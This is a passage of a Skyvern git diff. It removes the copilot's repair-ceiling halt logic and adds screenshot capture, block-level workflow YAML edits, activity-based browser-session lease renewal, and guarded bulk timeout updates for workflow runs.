+ and plausible, and the next guess is narrow again. A page's whole visible text is usually the
+ size of a few such reads, so answering the thin one with it ends the guessing.
+ """
+ data = result.get("data")
+ if not isinstance(data, dict) or "page_visible_text" in data:
+ return
+ if len(json.dumps(data, default=str)) > _THIN_EVALUATE_RESULT_CHARS:
+ return
+ evidence = await _safe_composition_evidence(ctx, url, timeout_seconds=_DISCOVERY_PER_CALL_TIMEOUT_SECONDS)
+ excerpt = (evidence or {}).get("visible_text_excerpt")
+ if isinstance(excerpt, str) and excerpt.strip():
+ data["page_visible_text"] = excerpt
+
+
async def _scroll_post_hook(
result: dict[str, Any],
raw: dict[str, Any],
diff --git a/skyvern/forge/sdk/copilot/tools/run_execution.py b/skyvern/forge/sdk/copilot/tools/run_execution.py
index 83bcca749..8d20472df 100644
--- a/skyvern/forge/sdk/copilot/tools/run_execution.py
+++ b/skyvern/forge/sdk/copilot/tools/run_execution.py
@@ -15,7 +15,6 @@ from urllib.parse import urlparse
import structlog
-from skyvern.config import settings
from skyvern.forge import app
from skyvern.forge.sdk.artifact.models import Artifact, ArtifactType
from skyvern.forge.sdk.copilot.blocker_signal import (
@@ -24,7 +23,6 @@ from skyvern.forge.sdk.copilot.blocker_signal import (
stash_blocker_signal,
)
from skyvern.forge.sdk.copilot.build_test_outcome import (
- MetadataRejectLadderState,
RecordedBuildTestOutcome,
RecordedOutcomeGroundingRequirement,
arm_recorded_outcome_grounding_requirement,
@@ -35,7 +33,6 @@ from skyvern.forge.sdk.copilot.build_test_outcome import (
record_build_test_outcome,
recorded_outcome_from_run_blocks_result,
registered_output_payload_binds_output_path,
- run_backed_repair_evidence_exists,
)
from skyvern.forge.sdk.copilot.challenge_evidence import (
ChallengeEvidenceSource,
@@ -76,7 +73,6 @@ from skyvern.forge.sdk.copilot.diagnosis_repair_contract import (
build_diagnosis_repair_contract,
)
from skyvern.forge.sdk.copilot.enforcement import (
- repair_ceiling_stop_signal,
reset_no_progress_interaction_count,
)
from skyvern.forge.sdk.copilot.failure_tracking import (
@@ -129,7 +125,6 @@ from skyvern.forge.sdk.copilot.terminal_predicates import outcome_fully_verified
from skyvern.forge.sdk.copilot.tracing_setup import copilot_span
from skyvern.forge.sdk.copilot.turn_halt import (
stash_delivered_unverified_turn_halt,
- stash_repair_ceiling_turn_halt,
stash_turn_halt_from_blocker_signal,
)
from skyvern.forge.sdk.copilot.typed_value_policy import should_reject_type_text_value
@@ -3439,24 +3434,6 @@ def _should_arm_recorded_outcome_grounding(copilot_ctx: Any) -> bool:
return bool(latest.workflow_run_id or getattr(copilot_ctx, "last_run_blocks_workflow_run_id", None))
-def _metadata_reject_ladder_defers_repair_ceiling(copilot_ctx: CopilotContext, *, count: int) -> bool:
- state = getattr(copilot_ctx, "metadata_reject_ladder_state", None)
- if not isinstance(state, MetadataRejectLadderState):
- return False
- latest = copilot_ctx.latest_recorded_build_test_outcome
- if (
- not isinstance(latest, RecordedBuildTestOutcome)
- or latest.phase != "author_time_reject"
- or latest.reason_code != "metadata_reject"
- or latest.structural_key != state.structural_key
- ):
- return False
- threshold = settings.COPILOT_REPAIR_CEILING_CONSECUTIVE_IDENTICAL
- # Reserve the first ceiling crossing for same-key confirmation. Beyond it, only the active
- # rung-2 metadata retry defers; an unrelated latest repair restores the generic fallback.
- return count == threshold or state.streak_count >= 2
-
-
def _update_repair_loop_state(copilot_ctx: CopilotContext, contract: DiagnosisRepairContract) -> None:
"""Count consecutive REPAIR verdicts that made no newly-verified forward progress.
@@ -3490,12 +3467,10 @@ def _update_repair_loop_state(copilot_ctx: CopilotContext, contract: DiagnosisRe
signature = _repair_non_convergence_signature(copilot_ctx, contract)
if signature is None or progressed:
copilot_ctx.consecutive_non_converging_repair_count = 0
- copilot_ctx.last_repair_non_convergence_signature = None
clear_recorded_outcome_grounding_requirement(copilot_ctx)
contract.repair_loop_state = RepairLoopState(
streak_token=None,
consecutive_identical_repair_count=0,
- ceiling_reached=False,
)
return
prior_count = copilot_ctx.consecutive_non_converging_repair_count
@@ -3511,32 +3486,12 @@ def _update_repair_loop_state(copilot_ctx: CopilotContext, contract: DiagnosisRe
):
clear_recorded_outcome_grounding_requirement(copilot_ctx)
copilot_ctx.consecutive_non_converging_repair_count = count
- copilot_ctx.last_repair_non_convergence_signature = signature
- repair_ceiling_reached = count >= settings.COPILOT_REPAIR_CEILING_CONSECUTIVE_IDENTICAL
- if repair_ceiling_reached and _metadata_reject_ladder_defers_repair_ceiling(copilot_ctx, count=count):
- state = copilot_ctx.metadata_reject_ladder_state
- assert isinstance(state, MetadataRejectLadderState)
- repair_ceiling_reached = False
- LOG.info(
- "copilot_metadata_reject_ladder_deferred_repair_ceiling",
- structural_key=state.structural_key,
- streak_count=state.streak_count,
- repair_count=count,
- )
contract.repair_loop_state = RepairLoopState(
streak_token=signature,
consecutive_identical_repair_count=count,
- ceiling_reached=repair_ceiling_reached,
)
if _should_arm_recorded_outcome_grounding(copilot_ctx):
arm_recorded_outcome_grounding_requirement(copilot_ctx)
- if contract.repair_loop_state.ceiling_reached and run_backed_repair_evidence_exists(copilot_ctx):
- signal = repair_ceiling_stop_signal(copilot_ctx, contract)
- contract.repair_decision = contract.repair_decision.model_copy(
- update={"next_action": RepairNextAction.STOP, "target_blocks": []}
- )
- stash_blocker_signal(copilot_ctx, signal)
- stash_repair_ceiling_turn_halt(copilot_ctx, signal, consecutive_identical_repair_count=count)
def _record_diagnosis_repair_contract(
diff --git a/skyvern/forge/sdk/copilot/tools/scouting.py b/skyvern/forge/sdk/copilot/tools/scouting.py
index e4b90616c..73ba96007 100644
--- a/skyvern/forge/sdk/copilot/tools/scouting.py
+++ b/skyvern/forge/sdk/copilot/tools/scouting.py
@@ -34,6 +34,9 @@ from skyvern.forge.sdk.copilot.code_block_synthesis import (
normalized_scout_selector,
validated_dynamic_row_period_matches,
)
+from skyvern.forge.sdk.copilot.composition_browser_expressions import (
+ enclosing_form_submit_controls_expression,
+)
from skyvern.forge.sdk.copilot.composition_browser_expressions import (
role_name_match_count_expression as _role_name_match_count_expression,
)
@@ -81,6 +84,7 @@ from skyvern.forge.sdk.copilot.runtime import (
ScoutedInteraction,
resolve_browser_state_for_context,
)
+from skyvern.forge.sdk.copilot.screenshot_utils import enqueue_screenshot_from_result
from skyvern.forge.sdk.workflow.models.block import CodeBlockCaptchaError, _code_block_solve_captcha_builtin
from ._shared import (
@@ -554,6 +558,63 @@ async def _capture_element_fingerprint(
return captured
+async def _capture_post_interaction_screenshot(
+ ctx: AgentContext, *, timeout_seconds: float = _DISCOVERY_PER_CALL_TIMEOUT_SECONDS
+) -> None:
+ """Attach a look at the page after a state-changing action. Reading the DOM answers "what is
+ on the page" but not "did that work" -- a filled password reads as empty, and a dialog covering
+ the content reads as an ordinary node. Only the most recent screenshot is retained.
+ """
+ # getattr mirrors screenshot_utils: this runs against contexts that predate the vision field.
+ if not getattr(ctx, "supports_vision", False):
+ return
+ server = getattr(ctx, "discovery_mcp_server", None)
+ if server is None:
+ return
+ try:
+ result = await asyncio.wait_for(
+ server.call_internal_tool("skyvern_screenshot", {}),
+ timeout=timeout_seconds,
+ )
+ except Exception:
+ return
+ if isinstance(result, dict) and result.get("ok"):
+ enqueue_screenshot_from_result(ctx, result)
+
+
+async def _capture_enclosing_form_submits(
+ ctx: AgentContext, selector: str | None, *, timeout_seconds: float = _DISCOVERY_PER_CALL_TIMEOUT_SECONDS
+) -> list[dict[str, str]]:
+ """Submit controls of the form holding a just-filled field, so submitting what was filled is not
+ a guess among the page's other prominent buttons. Returns an empty list on failure."""
+ selector = _selector_text(selector)
+ if not selector:
+ return []
+ server = ctx.discovery_mcp_server
+ if server is None:
+ return []
+ try:
+ result = await asyncio.wait_for(
+ server.call_internal_tool(
+ "skyvern_evaluate",
+ {"expression": enclosing_form_submit_controls_expression(selector)},
+ ),
+ timeout=timeout_seconds,
+ )
+ except Exception:
+ return []
+ if not isinstance(result, dict) or not result.get("ok"):
+ return []
+ controls = (result.get("data") or {}).get("result")
+ if not isinstance(controls, list):
+ return []
+ return [
+ {"label": str(entry.get("label") or "")[:80], "selector": str(entry.get("selector") or "")[:160]}
+ for entry in controls
+ if isinstance(entry, dict) and (entry.get("label") or entry.get("selector"))
+ ]
+
+
def _capped_with_eviction_accounting(
items: list[ScoutedInteraction],
*,
diff --git a/skyvern/forge/sdk/copilot/turn_halt.py b/skyvern/forge/sdk/copilot/turn_halt.py
index ee70b0cb5..4a2465f03 100644
--- a/skyvern/forge/sdk/copilot/turn_halt.py
+++ b/skyvern/forge/sdk/copilot/turn_halt.py
@@ -47,7 +47,6 @@ LOG = structlog.get_logger()
if TYPE_CHECKING:
from skyvern.forge.sdk.copilot.runtime import AgentContext
-REPAIR_CEILING_REASON_CODE = "repair_ceiling_reached"
ADVISORY_DISPATCH_STALLED_REASON_CODE = "advisory_dispatch_stalled"
@@ -55,7 +54,6 @@ class TurnHaltKind(StrEnum):
LOOP_DETECTED = "loop_detected"
ACTIVE_TERMINAL_CHALLENGE = "active_terminal_challenge"
PROBABLE_SITE_BLOCK = "probable_site_block"
- REPAIR_CEILING_REACHED = "repair_ceiling_reached"
OUTPUT_SOURCE_UNOBSERVABLE = "output_source_unobservable"
DELIVERED_UNVERIFIED = "delivered_unverified"
@@ -103,15 +101,11 @@ _INVOLUNTARY_TURN_HALT_KINDS = frozenset(
{
TurnHaltKind.LOOP_DETECTED,
TurnHaltKind.PROBABLE_SITE_BLOCK,
- TurnHaltKind.REPAIR_CEILING_REACHED,
TurnHaltKind.OUTPUT_SOURCE_UNOBSERVABLE,
}
)
_INVOLUNTARY_BLOCKER_REASON_CODES = (
- _LOOP_TERMINAL_REASON_CODES
- | _PROBABLE_SITE_BLOCK_REASON_CODES
- | _OUTPUT_SOURCE_UNOBSERVABLE_REASON_CODES
- | frozenset({REPAIR_CEILING_REASON_CODE})
+ _LOOP_TERMINAL_REASON_CODES | _PROBABLE_SITE_BLOCK_REASON_CODES | _OUTPUT_SOURCE_UNOBSERVABLE_REASON_CODES
)
_VERIFIED_SUPPRESSIBLE_ACTIVE_TERMINAL_REASON_CODES = frozenset({ACTIVE_RUN_TERMINAL_EVIDENCE_REASON_CODE})
_VERIFIED_SUPPRESSIBLE_ACTIVE_TERMINAL_SOURCES = frozenset({"run_execution"})
@@ -294,30 +288,6 @@ def stash_turn_halt_from_blocker_signal(ctx: Any, signal: object, *, source: str
return halt
-def stash_repair_ceiling_turn_halt(
- ctx: Any,
- signal: CopilotToolBlockerSignal,
- *,
- consecutive_identical_repair_count: int,
-) -> TurnHalt | None:
- existing = getattr(ctx, "turn_halt", None)
- if isinstance(existing, TurnHalt):
- return existing
- halt = TurnHalt(
- kind=TurnHaltKind.REPAIR_CEILING_REACHED,
- blocker_signal=signal,
- draft_state={"preserves_workflow_draft": signal.preserves_workflow_draft},
- extra={
- "source": "enforcement",
- "consecutive_identical_repair_count": consecutive_identical_repair_count,
- },
- )
- ctx.turn_halt = halt
- claim_turn(ctx, TurnClaimant.GENUINELY_TERMINAL, renders_final_reply=True)
- LOG.info("copilot turn halt stashed", **turn_halt_to_trace_data(halt))
- return halt
-
-
def stash_delivered_unverified_turn_halt(ctx: AgentContext, *, workflow_run_id: str | None) -> TurnHalt | None:
if isinstance(ctx.turn_halt, TurnHalt):
return ctx.turn_halt
diff --git a/skyvern/forge/sdk/copilot/turn_outcome.py b/skyvern/forge/sdk/copilot/turn_outcome.py
index ee8257675..8c808472b 100644
--- a/skyvern/forge/sdk/copilot/turn_outcome.py
+++ b/skyvern/forge/sdk/copilot/turn_outcome.py
@@ -168,14 +168,11 @@ def _string_or_none(value: object) -> str | None:
def derive_copilot_code_mode_diagnostics(ctx: Any) -> dict[str, Any]:
- turn_halt_kind = getattr(getattr(ctx, "turn_halt", None), "kind", None)
- turn_halt_kind_value = getattr(turn_halt_kind, "value", turn_halt_kind)
pending_capability = _string_or_none(getattr(ctx, "code_native_pending_capability", None))
return {
"copilot_last_code_build_failed": bool(
getattr(ctx, "last_test_ok", None) is False or getattr(ctx, "last_failed_workflow_yaml", None)
),
- "copilot_repair_ceiling_hit": turn_halt_kind_value == "repair_ceiling_reached",
"copilot_pending_capability": pending_capability,
}
diff --git a/skyvern/forge/sdk/copilot/turn_ownership.py b/skyvern/forge/sdk/copilot/turn_ownership.py
index 5ec4a85f1..14ba0fb65 100644
--- a/skyvern/forge/sdk/copilot/turn_ownership.py
+++ b/skyvern/forge/sdk/copilot/turn_ownership.py
@@ -122,7 +122,7 @@ _TRANSIENT_CLAIMANTS = frozenset(
}
)
-_SIGNALLESS_TERMINAL_TURN_HALT_KIND_VALUES = frozenset({"repair_ceiling_reached", "delivered_unverified"})
+_SIGNALLESS_TERMINAL_TURN_HALT_KIND_VALUES = frozenset({"delivered_unverified"})
def claimant_outranks(candidate: TurnClaimant, incumbent: TurnClaimant) -> bool:
diff --git a/skyvern/forge/sdk/copilot/workflow_yaml.py b/skyvern/forge/sdk/copilot/workflow_yaml.py
index af9ee7f4c..86263aa74 100644
--- a/skyvern/forge/sdk/copilot/workflow_yaml.py
+++ b/skyvern/forge/sdk/copilot/workflow_yaml.py
@@ -482,3 +482,96 @@ async def _process_workflow_yaml(
created_at=now,
modified_at=now,
)
+
+
+class BlockEditError(Exception):
+ """A block-scoped edit that could not be applied as asked."""
+
+
+def _workflow_blocks(parsed: Any) -> list[Any] | None:
+ if not isinstance(parsed, dict):
+ return None
+ definition = parsed.get("workflow_definition")
+ if not isinstance(definition, dict):
+ return None
+ blocks = definition.get("blocks")
+ return blocks if isinstance(blocks, list) else None
+
+
+def _block_by_label(blocks: list[Any], label: str) -> dict[str, Any]:
+ matches = [b for b in blocks if isinstance(b, dict) and str(b.get("label") or "") == label]
+ if not matches:
+ known = ", ".join(sorted(str(b.get("label") or "") for b in blocks if isinstance(b, dict)))
+ raise BlockEditError(f"No block labelled {label!r}. The workflow has: {known or '(no labelled blocks)'}.")
+ if len(matches) > 1:
+ raise BlockEditError(f"{len(matches)} blocks share the label {label!r}; labels must be unique to edit one.")
+ return matches[0]
+
+
+def apply_block_edit(
+ stored_yaml: str,
+ label: str,
+ *,
+ expected_code: str | None = None,
+ replacement_code: str | None = None,
+ fields: dict[str, Any] | None = None,
+) -> str:
+ """Apply an edit to one block and return the whole workflow, leaving every other block untouched.
+
+ A code edit is anchored: ``expected_code`` must appear exactly once in the block's current code, so
+ an edit written against a stale copy fails loudly instead of overwriting whatever is there now.
+ """
+ try:
+ parsed = safe_load_no_dates(stored_yaml)
+ except Exception as exc:
+ raise BlockEditError(f"The stored workflow is not parseable: {exc}") from exc
+ blocks = _workflow_blocks(parsed)
+ if blocks is None:
+ raise BlockEditError("The stored workflow has no workflow_definition.blocks to edit.")
+ block = _block_by_label(blocks, label)
+
+ if expected_code is not None or replacement_code is not None:
+ if expected_code is None or replacement_code is None:
+ raise BlockEditError("A code edit needs both expected_code and replacement_code.")
+ current = block.get("code")
+ if not isinstance(current, str):
+ raise BlockEditError(f"Block {label!r} has no code to edit; use fields for its settings.")
+ occurrences = current.count(expected_code)
+ if occurrences == 0:
+ raise BlockEditError(
+ f"expected_code was not found in block {label!r}. It has changed since you read it — "
+ "re-read the block and rewrite the edit against its current code."
+ )
+ if occurrences > 1:
+ raise BlockEditError(
+ f"expected_code appears {occurrences} times in block {label!r}; include enough "
+ "surrounding lines to identify one occurrence."
+ )
+ block["code"] = current.replace(expected_code, replacement_code, 1)
+
+ for key, value in (fields or {}).items():
+ block[key] = value
+
+ return yaml.safe_dump(parsed, sort_keys=False)
+
+
+def delete_block_from_workflow(stored_yaml: str, label: str) -> str:
+ """Remove one block by label and return the whole workflow.
+
+ Deletion is an operation rather than an absence, so a submission that simply omits a block can
+ never be mistaken for a request to remove it.
+ """
+ try:
+ parsed = safe_load_no_dates(stored_yaml)
+ except Exception as exc:
+ raise BlockEditError(f"The stored workflow is not parseable: {exc}") from exc
+ blocks = _workflow_blocks(parsed)
+ if blocks is None:
+ raise BlockEditError("The stored workflow has no workflow_definition.blocks to edit.")
+ _block_by_label(blocks, label)
+ remaining = [b for b in blocks if not (isinstance(b, dict) and str(b.get("label") or "") == label)]
+ for other in remaining:
+ if isinstance(other, dict) and other.get("next_block_label") == label:
+ other["next_block_label"] = None
+ parsed["workflow_definition"]["blocks"] = remaining
+ return yaml.safe_dump(parsed, sort_keys=False)
diff --git a/skyvern/forge/sdk/db/models.py b/skyvern/forge/sdk/db/models.py
index dd4a3b5f2..6360a65dc 100644
--- a/skyvern/forge/sdk/db/models.py
+++ b/skyvern/forge/sdk/db/models.py
@@ -1331,6 +1331,9 @@ class PersistentBrowserSessionModel(Base):
compute_cost = Column(Numeric, nullable=True)
started_at = Column(DateTime, nullable=True)
completed_at = Column(DateTime, nullable=True)
+ # Last client CDP command seen by the proxy; drives activity-based lease renewal so an
+ # actively-driven session stays alive past its idle budget (capped by MAX_TIMEOUT).
+ last_activity_at = Column(DateTime, nullable=True)
created_at = Column(DateTime, default=datetime.datetime.utcnow, nullable=False, index=True)
modified_at = Column(DateTime, default=datetime.datetime.utcnow, onupdate=datetime.datetime.utcnow, nullable=False)
deleted_at = Column(DateTime, nullable=True)
diff --git a/skyvern/forge/sdk/db/repositories/browser_sessions.py b/skyvern/forge/sdk/db/repositories/browser_sessions.py
index fab20e309..99bd29098 100644
--- a/skyvern/forge/sdk/db/repositories/browser_sessions.py
+++ b/skyvern/forge/sdk/db/repositories/browser_sessions.py
@@ -5,7 +5,7 @@ from datetime import datetime, timedelta
from typing import cast
import structlog
-from sqlalchemy import and_, case, desc, func, or_, select
+from sqlalchemy import and_, case, desc, func, or_, select, update
from sqlalchemy.exc import IntegrityError, StatementError
from skyvern.config import settings
@@ -712,6 +712,30 @@ class BrowserSessionsRepository(BaseRepository):
return PersistentBrowserSession.model_validate(persistent_browser_session)
return None
+ @db_operation("touch_last_activity")
+ async def touch_last_activity(self, session_id: str, last_activity_at: datetime | None = None) -> None:
+ """Record that a session was actively driven, for activity-based lease renewal.
+
+ Unscoped by organization on purpose: the CDP proxy calls this and learns the owning
+ org from the row, never from client input. A single UPDATE with no read-back — a
+ best-effort, no-op when the row is gone — so it stays cheap on the relay hot path.
+ """
+ ts = to_naive_utc(last_activity_at) if last_activity_at is not None else naive_utc_now()
+ async with self.Session() as session:
+ await session.execute(
+ update(PersistentBrowserSessionModel)
+ .where(PersistentBrowserSessionModel.persistent_browser_session_id == session_id)
+ .where(PersistentBrowserSessionModel.deleted_at.is_(None))
+ # Monotonic write: touches are fire-and-forget from the proxy, so an out-of-order
+ # commit must never move last_activity_at backward and shorten a live lease.
+ .values(
+ last_activity_at=func.greatest(
+ func.coalesce(PersistentBrowserSessionModel.last_activity_at, ts), ts
+ )
+ )
+ )
+ await session.commit()
+
@db_operation("create_persistent_browser_session")
async def create_persistent_browser_session(
self,
diff --git a/skyvern/forge/sdk/db/repositories/workflow_runs.py b/skyvern/forge/sdk/db/repositories/workflow_runs.py
index bef77a0f4..924d725a2 100644
--- a/skyvern/forge/sdk/db/repositories/workflow_runs.py
+++ b/skyvern/forge/sdk/db/repositories/workflow_runs.py
@@ -459,38 +459,111 @@ class WorkflowRunsRepository(BaseRepository):
await session.refresh(refreshed)
return convert_to_workflow_run(refreshed)
+ @db_operation("finish_preexisting_timed_out_workflow_run")
+ async def finish_preexisting_timed_out_workflow_run(
+ self,
+ workflow_run_id: str,
+ failure_reason: str | None = None,
+ run_with: str | None = None,
+ failure_category: list[dict[str, Any]] | None = None,
+ ) -> WorkflowRun | None:
+ """Finish a status-only timeout written by bulk stuck-run cleanup.
+
+ A normal timeout transition always stamps ``finished_at``. Restricting
+ this repair to unfinished ``timed_out`` rows lets a cleanup retry fill
+ missing metadata without overwriting the attribution or completion
+ timestamp from another timeout finalizer.
+ """
+ now = naive_utc_now()
+ values: dict[str, Any] = {"finished_at": now}
+ if failure_reason is not None:
+ values["failure_reason"] = func.coalesce(WorkflowRunModel.failure_reason, failure_reason)
+ if run_with is not None:
+ values["run_with"] = func.coalesce(WorkflowRunModel.run_with, run_with)
+ if failure_category is not None:
+ values["failure_category"] = func.coalesce(
+ WorkflowRunModel.failure_category,
+ literal(failure_category, type_=WorkflowRunModel.failure_category.type),
+ )
+
+ async with self.Session() as session:
+ result = await session.execute(
+ update(WorkflowRunModel)
+ .where(
+ WorkflowRunModel.workflow_run_id == workflow_run_id,
+ WorkflowRunModel.status == WorkflowRunStatus.timed_out.value,
+ WorkflowRunModel.finished_at.is_(None),
+ )
+ .values(**values)
+ .returning(WorkflowRunModel.workflow_run_id)
+ )
+ affected = result.scalar_one_or_none()
+ await session.commit()
+ if affected is None:
+ return None
+ refreshed = (
+ await session.scalars(select(WorkflowRunModel).filter_by(workflow_run_id=workflow_run_id))
+ ).one()
+ await save_workflow_run_logs(workflow_run_id)
+ # save_workflow_run_logs reuses this session and commits, expiring `refreshed`.
+ # Refresh before convert_to_workflow_run to avoid a greenlet-less lazy-load (MissingGreenlet).
+ await session.refresh(refreshed)
+ return convert_to_workflow_run(refreshed)
+
@db_operation("bulk_update_workflow_runs")
async def bulk_update_workflow_runs(
self,
workflow_run_ids: list[str],
status: WorkflowRunStatus | None = None,
failure_reason: str | None = None,
- ) -> None:
+ only_if_status_in: list[WorkflowRunStatus] | None = None,
+ ) -> list[str]:
"""Bulk update workflow runs by their IDs.
Args:
workflow_run_ids: List of workflow run IDs to update
status: Optional status to set for all workflow runs
failure_reason: Optional failure reason to set for all workflow runs
+ only_if_status_in: Optional status whitelist used as a compare-and-set guard
+
+ Returns:
+ IDs of rows that matched the update.
"""
if not workflow_run_ids:
- return
+ return []
async with self.Session() as session:
- update_values = {}
+ update_values: dict[str, Any] = {}
if status:
update_values["status"] = status.value
+ if status == WorkflowRunStatus.timed_out:
+ # Stuck-run cleanup intentionally writes only a timeout marker;
+ # clear terminal metadata that may remain from the temporary
+ # terminal -> running transition used by finally blocks. The
+ # timeout activity then owns attribution, timestamps, and
+ # completion side effects through
+ # finish_preexisting_timed_out_workflow_run.
+ update_values["finished_at"] = None
+ update_values["failure_category"] = None
+ if failure_reason is None:
+ update_values["failure_reason"] = None
if failure_reason:
update_values["failure_reason"] = failure_reason
- if update_values:
- update_stmt = (
- update(WorkflowRunModel)
- .where(WorkflowRunModel.workflow_run_id.in_(workflow_run_ids))
- .values(**update_values)
+ if not update_values:
+ return []
+
+ update_stmt = update(WorkflowRunModel).where(WorkflowRunModel.workflow_run_id.in_(workflow_run_ids))
+ if only_if_status_in is not None:
+ update_stmt = update_stmt.where(
+ WorkflowRunModel.status.in_([eligible_status.value for eligible_status in only_if_status_in])
)
- await session.execute(update_stmt)
- await session.commit()
+ result = await session.execute(
+ update_stmt.values(**update_values).returning(WorkflowRunModel.workflow_run_id)
+ )
+ updated_workflow_run_ids = list(result.scalars().all())
+ await session.commit()
+ return updated_workflow_run_ids
@db_operation("clear_workflow_run_failure_reason")
async def clear_workflow_run_failure_reason(self, workflow_run_id: str, organization_id: str) -> WorkflowRun:
diff --git a/skyvern/forge/sdk/routes/streaming/verify.py b/skyvern/forge/sdk/routes/streaming/verify.py
index c7b63d99d..7821342be 100644
--- a/skyvern/forge/sdk/routes/streaming/verify.py
+++ b/skyvern/forge/sdk/routes/streaming/verify.py
@@ -17,15 +17,16 @@ from __future__ import annotations
import asyncio
import typing as t
-from datetime import datetime, timedelta
import structlog
from skyvern.config import settings
from skyvern.forge import app
+from skyvern.forge.sdk.db.datetime_utils import naive_utc_now
from skyvern.forge.sdk.schemas.persistent_browser_sessions import AddressablePersistentBrowserSession, is_final_status
from skyvern.forge.sdk.schemas.tasks import Task, TaskStatus
from skyvern.forge.sdk.workflow.models.workflow import WorkflowRun, WorkflowRunStatus
+from skyvern.schemas.browser_session_timeouts import MAX_LIFETIME_SECONDS, session_is_active
if t.TYPE_CHECKING:
from skyvern.forge.sdk.routes.streaming.channels.message import MessageChannel
@@ -62,10 +63,20 @@ async def verify_browser_session(
timeout_minutes = browser_session.timeout_minutes
if started_at and timeout_minutes:
- current_time = datetime.utcnow()
- times_out_at = started_at + timedelta(minutes=timeout_minutes)
+ current_time = naive_utc_now()
+ base_timeout_seconds = timeout_minutes * 60
+ last_activity_at = browser_session.last_activity_at
+ seconds_since_last_activity = (
+ (current_time - last_activity_at).total_seconds() if last_activity_at is not None else None
+ )
- if current_time > times_out_at:
+ if not session_is_active(
+ seconds_since_start=(current_time - started_at).total_seconds(),
+ base_timeout_seconds=base_timeout_seconds,
+ seconds_since_last_activity=seconds_since_last_activity,
+ idle_timeout_seconds=base_timeout_seconds,
+ max_lifetime_seconds=MAX_LIFETIME_SECONDS,
+ ):
LOG.info(
"Browser session invalid, as it has timed out, but is still in a non-final status. This is likely a bug!",
browser_session_id=browser_session_id,
@@ -73,7 +84,7 @@ async def verify_browser_session(
timeout_minutes=timeout_minutes,
started_at=started_at.isoformat(),
now=current_time.isoformat(),
- times_out_at=times_out_at.isoformat(),
+ last_activity_at=last_activity_at.isoformat() if last_activity_at is not None else None,
)
return None
diff --git a/skyvern/forge/sdk/routes/workflow_copilot.py b/skyvern/forge/sdk/routes/workflow_copilot.py
index 5a60e91b8..cf7c467d2 100644
--- a/skyvern/forge/sdk/routes/workflow_copilot.py
+++ b/skyvern/forge/sdk/routes/workflow_copilot.py
@@ -203,7 +203,6 @@ def _reason_category_for_copilot_code_mode_opt_out(
) -> str:
if (
prior_turn_outcome.copilot_last_code_build_failed
- or prior_turn_outcome.copilot_repair_ceiling_hit
or prior_turn_outcome.terminal_reason == COPILOT_RECOVERABLE_FAILURE_TERMINAL_REASON
):
return "failure"
@@ -236,7 +235,6 @@ def _capture_copilot_code_mode_opt_out(
"to_mode": to_mode,
"reason_category": _reason_category_for_copilot_code_mode_opt_out(prior_turn_outcome),
"last_code_build_failed": prior_turn_outcome.copilot_last_code_build_failed,
- "repair_ceiling_hit": prior_turn_outcome.copilot_repair_ceiling_hit,
"pending_capability": prior_turn_outcome.copilot_pending_capability,
"org_id": organization_id,
"workflow_permanent_id": workflow_permanent_id,
diff --git a/skyvern/forge/sdk/schemas/copilot_turn_outcome.py b/skyvern/forge/sdk/schemas/copilot_turn_outcome.py
index 58d7162c4..af3d7dab9 100644
--- a/skyvern/forge/sdk/schemas/copilot_turn_outcome.py
+++ b/skyvern/forge/sdk/schemas/copilot_turn_outcome.py
@@ -37,6 +37,5 @@ class TurnOutcome(BaseModel):
copilot_effective_mode: Literal["ask", "build", "code"] | None = None
copilot_code_available: bool = False
copilot_last_code_build_failed: bool = False
- copilot_repair_ceiling_hit: bool = False
copilot_pending_capability: str | None = None
copilot_turn_id: str | None = None
diff --git a/skyvern/forge/sdk/schemas/persistent_browser_sessions.py b/skyvern/forge/sdk/schemas/persistent_browser_sessions.py
index 896b90b61..b549f451d 100644
--- a/skyvern/forge/sdk/schemas/persistent_browser_sessions.py
+++ b/skyvern/forge/sdk/schemas/persistent_browser_sessions.py
@@ -88,6 +88,7 @@ class PersistentBrowserSession(BaseModel):
compute_cost: Decimal | None = None
started_at: datetime | None = None
completed_at: datetime | None = None
+ last_activity_at: datetime | None = None
created_at: datetime
modified_at: datetime
deleted_at: datetime | None = None
diff --git a/skyvern/forge/sdk/workflow/service.py b/skyvern/forge/sdk/workflow/service.py
index c94d665cc..1eb4feb4b 100644
--- a/skyvern/forge/sdk/workflow/service.py
+++ b/skyvern/forge/sdk/workflow/service.py
@@ -2840,7 +2840,7 @@ class WorkflowService:
pre_finally_failure_reason: str | None,
timeout_failure_reason: str,
) -> tuple[WorkflowRun, WorkflowRunStatus | None, str | None]:
- if pre_finally_status is None:
+ if pre_finally_status is None or not pre_finally_status.is_final():
if refreshed_workflow_run := await app.DATABASE.workflow_runs.get_workflow_run(
workflow_run_id=workflow_run_id,
organization_id=organization_id,
@@ -2849,7 +2849,7 @@ class WorkflowService:
if workflow_run.status.is_final():
pre_finally_status = workflow_run.status
pre_finally_failure_reason = workflow_run.failure_reason
- if pre_finally_status and pre_finally_status.is_final():
+ if pre_finally_status is not None and pre_finally_status.is_final():
LOG.info(
"Preserving terminal workflow run status after post-run elapsed timeout",
workflow_run_id=workflow_run_id,
@@ -2859,6 +2859,7 @@ class WorkflowService:
workflow_run = await self.mark_workflow_run_as_timed_out(
workflow_run_id=workflow_run_id,
failure_reason=timeout_failure_reason,
+ fallback_workflow_run=workflow_run,
)
pre_finally_status = WorkflowRunStatus.timed_out
pre_finally_failure_reason = timeout_failure_reason
@@ -2903,6 +2904,7 @@ class WorkflowService:
self.mark_workflow_run_as_timed_out(
workflow_run_id=workflow_run_id,
failure_reason=timeout_failure_reason,
+ fallback_workflow_run=workflow_run,
)
)
return fallback_workflow_run, WorkflowRunStatus.timed_out, timeout_failure_reason
@@ -3192,6 +3194,13 @@ class WorkflowService:
# in that case there's no terminal-state intent to restore.
pre_finally_status: WorkflowRunStatus | None = None
pre_finally_failure_reason: str | None = None
+ pre_finally_failure_category: list[dict] | None = None
+ # Freeze the body outcome used by browser write-back; a later finally-block
+ # failure must not discard valid session state produced by a successful body.
+ pre_finally_browser_persistence_status: WorkflowRunStatus | None = None
+ # A finally-only failure is a cleanup outcome, not evidence that replaying the
+ # workflow with another credential can help.
+ finally_block_set_terminal_outcome = False
try:
effective_max_elapsed_minutes = get_effective_workflow_run_max_elapsed_time_minutes(
@@ -3240,8 +3249,10 @@ class WorkflowService:
workflow_run = await self.mark_workflow_run_as_timed_out(
workflow_run_id=workflow_run_id,
failure_reason=pre_finally_failure_reason,
+ fallback_workflow_run=workflow_run,
)
pre_finally_status = WorkflowRunStatus.timed_out
+ pre_finally_browser_persistence_status = pre_finally_status
return workflow_run
else:
timeout_context = asyncio.timeout(max_elapsed_timeout_seconds)
